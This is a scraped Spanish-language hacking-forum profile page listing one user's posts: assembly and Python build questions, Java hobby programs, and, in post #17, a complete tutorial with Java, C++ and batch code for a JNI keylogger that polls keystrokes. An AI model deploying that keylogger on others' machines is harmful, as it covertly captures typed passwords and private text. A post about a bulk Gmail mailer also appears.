Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Leyer

#1
ASM / ASM array
29 Enero 2012, 02:39 AM
Hola, tengo una duda esto no debería lanzar un error? quisas sea una pregunta estupida pero no llevo mucho en ASM :xD

Código (asm) [Seleccionar]
array   rd 3
main:
       mov     [array], str0
       mov     [array+4], str1
       mov     [array+8], str2
       mov     [array+12], str3
#2
ASM / FASM numeros primos
12 Enero 2012, 02:49 AM
Bien practicando ASM se me ocurrio hacer un prorama para determinar los numeros primos menores al 900
Código (asm) [Seleccionar]
format PE console
include 'win32ax.inc'
entry start
.data
       sqrt dd 0  ;raiz
       msg db "%d primo",13,10,0
       count dd 10b;
.code
    start:
         bucle:
               stdcall isPrime,[count]
                .if edx <> 0 |  eax= 1
                    push [count]
                    push msg
                    call [printf]
                     add esp,8
                .endif
             inc [count]
             cmp [count],1110000100b
             je _wait
             jne bucle
    proc _sqrt,firshValue,secondValue
          mov edx,0     ;EDX = 0
          mov eax,[firshValue]  ;valor A
          mov ebx,[secondValue] ;valor B
          div ebx ;EAX=A/B
          ret
    endp
    proc isPrime,value
          stdcall _sqrt,[value],2 ;div
          mov [sqrt],eax ;sqrt = EAX
          mov ecx,2 ; index
          _loop:
               stdcall _sqrt,[value],ecx ;div
               inc ecx ;index++
               .if edx = 0 ;resto == 0
                   mov edx,0
                   ret
               .endif
               cmp ecx,[sqrt];
               jne _loop
               ret
      endp
_wait:
      invoke Sleep,-1 ;pause
section ".idata" import data readable writable
  library msvcrt,"msvcrt.dll",kernel32,"kernel32.dll"
  import kernel32,Sleep,"Sleep"
  import msvcrt,printf,"printf"


la pregunta es como se puede mejorar?

un saludo.
#3
Hola hace poco comenze a usar ASM y probando algunos codes me tope con uno que tenia las seguientes sentencias:

Código (asm) [Seleccionar]
extern scanf
extern printf


al enlazarlo ld xlflo.o -o xlflo me muestra lo siguiente:

xlflo.asm:(.text+0x27): undefined reference to `scanf'
xlfloo: In function `putfloat':
xlflo.asm:(.text+0x4a): undefined reference to `printf'


ahora bien,lo estoy enlazando mal? o es otra cosa

saludos.


#6
Hola gente, veran tengo un problema he estado intentando instalarme PyQT, cuando lo voy a instalar me pide que instale SIP ok, lo descargo lo intento instalar y me muestra el siguiente error:


root@leyer-AO532h:/home/leyer/sip-4.13# python configure.py
This is SIP 4.13 for Python 2.6.5 on linux2.
The SIP code generator will be installed in /usr/bin.
The sip module will be installed in /usr/lib/python2.6/dist-packages.
The sip.h header file will be installed in /usr/include/python2.6.
The default directory to install .sip files in is /usr/share/sip.
The platform/compiler configuration is linux-g++.
Creating siplib/sip.h...
Creating siplib/siplib.c...
Creating siplib/siplib.sbf...
Creating sipconfig.py...
Creating top level Makefile...
Creating sip code generator Makefile...
Creating sip module Makefile...
root@leyer-AO532h:/home/leyer/sip-4.13# make
make[1]: Entering directory `/home/leyer/sip-4.13/sipgen'
gcc -c -pipe -O2 -w -DNDEBUG -I. -o main.o main.c
gcc -c -pipe -O2 -w -DNDEBUG -I. -o transform.o transform.c
gcc -c -pipe -O2 -w -DNDEBUG -I. -o gencode.o gencode.c
In file included from /usr/include/bits/errno.h:25,
                 from /usr/include/errno.h:36,
                 from gencode.c:22:
/usr/include/linux/errno.h:4:23: error: asm/errno.h: No such file or directory
make[1]: *** [gencode.o] Error 1
make[1]: Leaving directory `/home/leyer/sip-4.13/sipgen'
make: *** [all] Error 2


alguna idea de como solucionarlo?

un saludo.
#7
Java / MOVIDO: ME PRESENTO Y PIDO ORIENTACION
5 Diciembre 2011, 03:27 AM
Lo siento me he equivocado  :xD

El tema ha sido movido a Ejercicios.

http://foro.elhacker.net/index.php?topic=346789.0
#12
Ingeniería Inversa / Desafió Ly-Crackme Java
21 Julio 2010, 03:38 AM
Hola, aqui les traigo mi primer crackme en java, creo que el nivel es medio, es difícil deducirlo : :xD :xD

Espero les guste :D

Imagen:


Dasafio:Crear un Keygen para todas las valores

se ve?
Nivel: Medio+8 XD

Tamaño del archivo:13.35kb

Archivo:Ly CrackME.jar

Enviar por Mp.

:Lo resolvieron:
----------------------------------------------------


----------------------------------------------------

PD[0]:Por alguna extraña razon creo que es alto : xD
PD[1]: jaja lo coloque donde no era la primera ves xD

Un Saludo.
#13
Os dejo este código simple que programe hace mucho, es para crear un pequeño instalador desde java o también para un visor de imágenes ,claro habría que codear bastante para hacer uno completo pero este seria la base. lo coloco por si alquilen le sirve.

PD:1 Esta en Eclipse y no en Netbeans.


Paquete
Código (java) [Seleccionar]

import java.io.IOException;

import javax.swing.UIManager;
import javax.swing.UnsupportedLookAndFeelException;
/**
* @author leyer
*/
public class Install extends  jwizardcomponent.frame.JWizardFrame {
   private static final long serialVersionUID = 1L;
   
   private jwizardcomponent.JWizardPanel panel = null;

public static final int _PANEL_0 = 0;
public static final int _PANEL_1 = 1;

protected javax.swing.ImageIcon imageBackground = new javax.swing.ImageIcon("");
public Install() {
 this.panel = new WizardPanelMain(getWizardComponents(),"Principal");
     getWizardComponents().addWizardPanel(_PANEL_0, panel);
     this.panel = new WizardPanel0(getWizardComponents(),"panel");
     getWizardComponents().addWizardPanel(_PANEL_1, panel);
     initConfigButtons();
     this.setSize(WindowsWIDTH,WindowsHEIGHT);
     this.setTitle("Instalador");
     jwizardcomponent.Utilities.centerComponentOnScreen(this);
     this.setVisible(true);
   }
static final int WindowsWIDTH = 800;
static final int WindowsHEIGHT= 400
;
private void initConfigButtons(){
      getWizardComponents().getBackButton()  .setText("Atras");
     getWizardComponents().getNextButton()  .setText("Siguiente");
     getWizardComponents().getCancelButton().setText("Cancelar");
     getWizardComponents().getFinishButton().setText("Finalizar");
}
private final class WizardPanelMain extends jwizardcomponent.JWizardPanel {
private static final long serialVersionUID = 1L;
private javax.swing.JPanel panelBackground = new javax.swing.JPanel(){
private static final long serialVersionUID = 1L;
@Override
public void paintComponent(java.awt.Graphics graphics){
this.setOpaque(false);
graphics.drawImage(imageBackground.getImage(),0,0,this.getWidth(),this.getHeight(),null);
super.paintComponent(graphics);
}
};
public WizardPanelMain(jwizardcomponent.JWizardComponents jWizardComponents, String title) {
       super(jWizardComponents, title);
       this.setLayout(new java.awt.BorderLayout());
this.panelBackground.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT));
this.add(panelBackground,java.awt.BorderLayout.CENTER);
   }}
private final class WizardPanel0 extends jwizardcomponent.JWizardPanel{
private static final long serialVersionUID = 1L;
private javax.swing.JPanel panelBackground = new javax.swing.JPanel(){
private static final long serialVersionUID = 1L;
@Override
public void paintComponent(java.awt.Graphics graphics){
this.setOpaque(false);

graphics.drawImage(imageBackground.getImage(),0,0,this.getWidth(),this.getHeight(),null);
super.paintComponent(graphics);
}
};
public WizardPanel0(jwizardcomponent.JWizardComponents jWizardComponents,String title) {
super(jWizardComponents,title);
this.setLayout(new java.awt.BorderLayout());
this.add(panelBackground,java.awt.BorderLayout.CENTER);
}}
public static void main(String[] args) throws SecurityException, IOException {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (UnsupportedLookAndFeelException e) {
e.printStackTrace();
}
long start, end;
start = System.currentTimeMillis();
new Install().setDefaultCloseOperation(javax.swing.JFrame.EXIT_ON_CLOSE);
end = System.currentTimeMillis();
System.out.println("Elapsed time: " + (end - start));
}


Un saludo. :)
#14
Desarrollo Web / Sobre index?id=x
24 Junio 2010, 23:28 PM
Hola, bueno verán tengo un amigo que esta haciendo un web(que ni se cual es) :xD y no soy yo,y me pregunta como colocar la sig sintaxis en la url

url index.php?ID=contactos

de estas cosas no se nada :xD
Edit: conozco php pero no lo domino

como se haría en ese caso?

Un Saludo.
#15
Java / MintDex [Java Mail] src|bin
28 Enero 2010, 17:11 PM
Holas :D veamos aqui les traigo mi pequeño programa para envio de multiples mensajes o un mensaje unico a multiples destinos con archivos abjuntos con solo tener una cuenta Gmail  nada serio :) programado en Eclipse y solo tiene de netbeans el About. :xD

www.google.com
para usarlo requiere iniciar sesion con tu cuenta

PD: para los mal pensados no es que me robe tu pass o algo parecido  :-\

Advertencia! este programa permite enviar una cantidad exajerada de mensajes usalo con con discrecion :¬¬

IMG Imagen del programa
http://www.imagengratis.org/images/mintdex.png

Descargar aqui. nuevo
http://www.mediafire.com/?f1tqmmt2nlj

SRC nuevo
http://www.mediafire.com/?0nkit3nznnm

sugerencias y dudas abiertas :)

Saludos!

#16
Hola. mi duda es la siguiente hace poco me compre un control inalambrico para la xbox 360 pero resulta que esta no me vino con el conector y bueno queria saber si eso es aparte o tiene que venir con el control obligatoriamente :huh:

Saludos.
#17
Java / [Tutorial] Keylogger en Java (JNI)
24 Noviembre 2009, 02:27 AM
Hola a todos!  ::) Aqui les traigo mi tutorial sobre como programar un Keylogger en java usando JNI y DEV++

Necesitas los archivos:

jni_md.h
http://www.mediafire.com/?wt30y33j4mg

jni.h
http://www.mediafire.com/?zngnmognn5h


Los cuales incluiran en  el directorio "C:\Archivos de programa\Dev-Cpp\include"


  • Paso 1: Creación del Archivo .java

Importante: No tiene que estar en ningun Package

Código (java) [Seleccionar]

public class Keylogger extends Thread {
private boolean   running=true;
private int       value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}

}


  • Paso 2: Creación del .bat para compilacion JNI (Opcional)

Nombre: CompilerJNI.bat

Código (bash) [Seleccionar]
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%

pause
echo.
exit


  • Paso 3:  Generando el . Class y la Cabecera .h (JNI)

Ejecutamos el CompilerJNI.bat y le pasamos el Archivo .java (Keylogger.java) sin la extension.

Podrias compilar direcamente desde la consola

javac Keylogger.java
javah -jni Keylogger


Tienes que tener algun JDK

  • Paso 4:  Generando la DLL

Abrimos el DEV++
File--->New---->Project--->DLL



Luego veremos 2 Archivos (dllMain.cpp)  y la cabecera .h (dll.h) ,

remplazamos el contenido del dll.h por la del Keylogger.h y guardamos como Keylogger.h.


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
   #endif
   #undef Keylogger_MIN_PRIORITY
   #define Keylogger_MIN_PRIORITY 1L
   #undef Keylogger_NORM_PRIORITY
   #define Keylogger_NORM_PRIORITY 5L
   #undef Keylogger_MAX_PRIORITY
   #define Keylogger_MAX_PRIORITY 10L
   #undef Keylogger_DELAY
   #define Keylogger_DELAY 20L
   /** Class: Keylogger
    * Method:    get
    * Signature: ()I
    */
   
   JNIEXPORT jint JNICALL Java_Keylogger_get  (JNIEnv *, jobject);
   #ifdef __cplusplus
   }
   #endif
   #endif


    Si da problemas
    Este archivo tiene que estar en
C:\Archivos de programa\Dev-Cpp\include

ahora remplazar el contenido de dllMain.cpp por este:

[/list]
Código (cpp) [Seleccionar]

#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
 while(true){
       for(int c=8;c<=222;c++){
        if(GetAsyncKeyState(c)==-32767)
           return c;  
       }        
    Sleep(30);  
    }
}


Y guardar como Keylogger.cpp

Una ves que tengamos El Keylogger.cpp y el Keylogger.h listos en nuestro proyecto Compilamos para generar la DLL

Y listo solo tendriamos que incluir la libreria al lado del Keylogger.java o .class y ejecutar para iniciar el keylogger.

Código (java) [Seleccionar]

public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}


Aqui les dejo la DLL Keylogger.dll
http://www.mediafire.com/?e03u9r0emaerf9g

Un Saludo.
#18
Scripting / Algunos nombres de virus USB
3 Noviembre 2009, 06:22 AM
.......................
#19
Java / Downloader Java
5 Septiembre 2009, 05:27 AM
para subir el nivel  :D mi segundo programa en java  :)se trata de un downloader basico en el modo de la ver el progreso de las descargas sopòrta multiples descargas ,como  siempre programado en eclipse 100% algunas de sus caracteristicas son.
____________________________
-Monitoreo de portapapeles
-Minimizar al area de notificacion
-Pausar todas las descargas asi como tambien la seleccionada
-Continuar descargas
-Cancelar descargas

_________________________



________________
Descargar aqui.
http://download379.mediafire.com/vw1myvy9dmjg/fmediyxnlir/JDeff+Downloader+by+L-eyer.jar
_______________

code
http://download941.mediafire.com/uczywlyum4sg/g2m5wnnznom/src+Downloader.zip


Saludos..

-No me subestimes a mi ni a java
#20
Java / - JChat (Chat En Java)
5 Septiembre 2009, 05:15 AM
hola comunidad! ;) aqui les traigo mi chat en java es multihilos soporta emoticons mensajes privados informacion por cada usuario color de fuente y estilos de fuente bloqueo de emoticones y bloqueo de mensajes privados .interfaz grafica programada en eclipse y con la colaboracion de chato en Code Mackers.


______________________________________________
Descargar aqui!

http://download938.mediafire.com/dll0mzmjrnvg/0jjmfm1gqyz/JCHAT+Aplicacion+v.rar

http://www.mediafire.com/download.php?3t3jhjxu2oz
______________________________________________
Saludos